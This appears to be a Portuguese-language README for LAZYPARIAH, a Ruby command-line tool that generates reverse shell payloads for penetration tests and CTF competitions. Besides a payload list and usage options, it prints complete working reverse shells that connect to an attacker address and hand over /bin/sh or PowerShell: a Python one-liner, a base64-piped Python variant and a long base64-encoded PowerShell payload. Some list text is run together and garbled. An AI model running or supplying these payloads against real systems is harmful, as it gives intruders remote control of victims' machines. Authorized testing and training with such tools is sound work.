
Uma ferramenta para gerar payloads de reverse shell em tempo real.
Uma ferramenta de linha de comando de baixa dependência para gerar payloads de shell reverso em tempo real.
LAZYPARIAH é uma ferramenta de linha de comando simples e facilmente instalável, escrita em Ruby puro, que pode ser usada durante testes de penetração e competições capture-the-flag (CTF) para gerar uma variedade de payloads de shell reverso em tempo real.
Os payloads de shell reverso que o LAZYPARIAH suporta incluem (mas não estão limitados a):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem(): php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tagsEsta ferramenta destina-se a ser usada apenas em circunstâncias autorizadas por testadores de penetração qualificados, pesquisadores de segurança e profissionais de red team. Antes de baixar, instalar ou usar esta ferramenta, certifique-se de compreender as leis relevantes em sua jurisdição. O autor desta ferramenta não endossa, encoraja ou condona o uso desta ferramenta para fins ilegais ou não autorizados.
java_class.)c_binary.)rust_binary.)O LAZYPARIAH pode ser instalado na maioria dos sistemas GNU/Linux e BSD usando o instalador RubyGems da seguinte forma:
gem install lazypariah
Usage: lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python_b64 10.10.14.4 1555
Example: lazypariah python_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Valid Options:
-h, --help Exibe o texto de ajuda e sai.
-l, --license Exibe informações de licença e sai.
-u, --url Codifica o payload em URL.
-v, --version Exibe informações de versão e sai.
-D, --fd INTEGER Especifica o descritor de arquivo usado pelo alvo para TCP. Necessário para certos payloads.
-P, --pv INTEGER Especifica a versão do Python para o payload. Deve ser 2 ou 3. Por padrão, nenhuma versão é especificada.
-N, --no-new-line Não anexa um caractere de nova linha ao final do payload.
--b64 Codifica um payload c_binary, rust_binary ou java_class em base64.
--hex Codifica um payload c_binary, rust_binary ou java_class em hexadecimal.
--gzip Comprime um payload c_binary, rust_binary ou java_class usando zlib.
--gzip_b64 Comprime um payload c_binary, rust_binary ou java_class usando zlib e codifica o resultado em base64.
--gzip_hex Comprime um payload c_binary, rust_binary ou java_class usando zlib e codifica o resultado em hexadecimal.
Os payloads listados acima são mais ou menos nomeados de forma sistemática.
Payloads que terminam com _c são destinados a serem executados a partir de uma sessão de shell. Esses payloads executam código diretamente usando o interpretador relevante (por exemplo, python3 -c ou ruby -e).
Por exemplo, o comando lazypariah python_c 10.10.14.4 1337 deve produzir a seguinte saída:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
O comando lazypariah python 10.10.14.4 1337, por outro lado, deve simplesmente produzir um bloco de código Python que poderia potencialmente ser colocado em um arquivo .py:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
De modo geral, selecionar payloads que terminam com _b64 deve produzir um comando destinado a ser executado a partir de uma sessão de shell, de maneira semelhante aos payloads que terminam com _c, mas os comandos serão diferentes em estrutura. Esses comandos essencialmente canalizam um bloco de código codificado em base64 através de base64 -d e depois para o interpretador relevante (como python3, python2 ou ruby).
Por exemplo, o comando lazypariah python_b64 10.10.14.4 1337 deve produzir a seguinte saída:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
A exceção a isso é powershell_b64, que usa o decodificador base64 embutido do Powershell. O comando lazypariah powershell_b64 10.10.14.4 1337, por exemplo, deve retornar o seguinte:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(Nota: O comprimento do payload acima se deve ao fato de que o Powershell usa codificação UTF-16LE, onde um único caractere corresponde a dois bytes.)
Esses tipos de payloads podem ser úteis em certas situações porque não incluem aspas simples ou duplas.